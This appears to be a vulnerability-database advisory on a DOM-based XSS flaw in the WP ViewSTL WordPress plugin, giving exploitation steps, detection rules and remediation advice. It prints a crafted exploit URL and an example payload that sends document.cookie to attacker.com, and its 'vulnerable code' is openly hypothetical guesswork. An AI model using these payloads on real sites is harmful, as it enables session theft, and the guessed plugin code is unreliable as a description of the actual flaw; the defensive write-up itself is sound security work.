CVE-2025-22742
Executive Summary
CVE-2025-22742 is a DOM-Based Cross-Site Scripting (XSS) vulnerability identified in the WordPress plugin WP ViewSTL, developed by Falldeaf. The vulnerability affects all versions up to and including 1.0. The flaw stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. This is a client-side attack vector, requiring user interaction (e.g., clicking a crafted link). The CVSS score of 6.5 (Medium) reflects the potential for data theft, session hijacking, or defacement. No public proof-of-concept (PoC) or patch is currently available, increasing the risk for unpatched WordPress installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who have installed WP ViewSTL from the WordPress dashboard or via direct download are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The lack of a patch from the vendor (Falldeaf) means the supply chain risk is elevated, as no official fix exists to mitigate the flaw.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must click a malicious link or visit a crafted page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the lack of a patch and the prevalence of WordPress installations elevate the real-world risk. DOM-Based XSS can be used to steal session cookies, redirect users to phishing sites, or perform actions on behalf of the victim.
Deep Dive & Mechanics
The vulnerability resides in the wp-viewstl plugin, which is used to display STL (stereolithography) 3D models on WordPress sites. The plugin fails to sanitize user input before inserting it into the DOM via JavaScript. Specifically, the plugin likely reads data from document.location, document.URL, or document.referrer and writes it directly into the page without proper encoding.
Attack Flow:
- An attacker crafts a malicious URL containing a JavaScript payload in a parameter (e.g.,
?model=<script>alert('XSS')</script>). - The victim clicks the link, which loads the vulnerable WordPress page.
- The plugin's JavaScript reads the malicious parameter from the URL and injects it into the DOM (e.g., via
innerHTMLordocument.write). - The injected script executes in the victim's browser, allowing the attacker to steal cookies, perform actions, or redirect the user.
Root Cause: The plugin uses unsafe DOM manipulation methods without sanitizing input. Common sinks include eval(), innerHTML, document.write, or jQuery.html().
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on the vulnerability type.
Vulnerable Code (JavaScript):
// Vulnerable: Directly uses URL parameter without sanitization
var model = new URLSearchParams(window.location.search).get('model');
document.getElementById('viewer').innerHTML = model;
Patched Code (Hypothetical):
// Patched: Sanitizes input using textContent or DOMPurify
var model = new URLSearchParams(window.location.search).get('model');
var sanitized = DOMPurify.sanitize(model);
document.getElementById('viewer').textContent = sanitized;
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with WP ViewSTL <= 1.0 installed and active.
- A victim user with a browser.
Exploit Steps:
- Identify a vulnerable page that uses the plugin (e.g., a page with a 3D viewer).
- Craft a malicious URL:
http://target-wordpress-site.com/?page_id=123&model=<img src=x onerror=alert(document.cookie)> - Send the link to the victim via email, social engineering, or a phishing campaign.
- When the victim clicks the link, the script executes, and the attacker can capture cookies or perform other actions.
Example Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for suspicious URL parameters containing
<script>,onerror, orjavascript:. - Use browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated).
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Deploy Web Application Firewall (WAF) rules to block common XSS patterns.
Lab Setup:
- Use a local WordPress installation with Docker:
docker run --name wp -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress -p 8080:80 -d wordpress - Install WP ViewSTL plugin manually by downloading from the WordPress repository and placing it in
wp-content/plugins/. - Activate the plugin and create a page with the shortcode
[wp-viewstl].
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
?model=or?stl=with script tags or event handlers. - Log Entries: Web server logs showing
GET /?page_id=123&model=<script>...or similar. - Browser Behavior: Unexpected pop-ups, redirects, or network requests to unknown domains.
- File Hashes: The plugin file
wp-viewstl.php(version <= 1.0) with MD5 hashUNKNOWN(no official hash available).
Detection Engineering
YARA Rule
rule CVE_2025_22742_WP_ViewSTL_XSS {
meta:
description = "Detects malicious URL patterns targeting WP ViewSTL DOM XSS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22742"
strings:
$xss1 = /[?&]model\s*=\s*.*<script/i
$xss2 = /[?&]model\s*=\s*.*onerror\s*=/i
$xss3 = /[?&]model\s*=\s*.*javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-22742 WP ViewSTL DOM XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with suspicious parameters targeting WP ViewSTL plugin
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- '?model=<'
- '&model=<'
- '?model=javascript:'
- '&model=javascript:'
condition: selection
falsepositives:
- Legitimate use of model parameter with safe content
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-22742 WP ViewSTL DOM XSS Attempt"; flow:to_server,established; content:"?model="; nocase; content:"<script"; within:100; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by the vendor.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads in URL parameters.
- Add Content Security Policy (CSP) headers to restrict inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
Long-Term Fix:
- The vendor (Falldeaf) must release a patched version that sanitizes user input using
textContentor a library like DOMPurify. - Users should monitor the WordPress plugin repository for updates.
Workaround:
- If the plugin cannot be disabled, modify the plugin's JavaScript file to use
textContentinstead ofinnerHTML(requires custom development).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.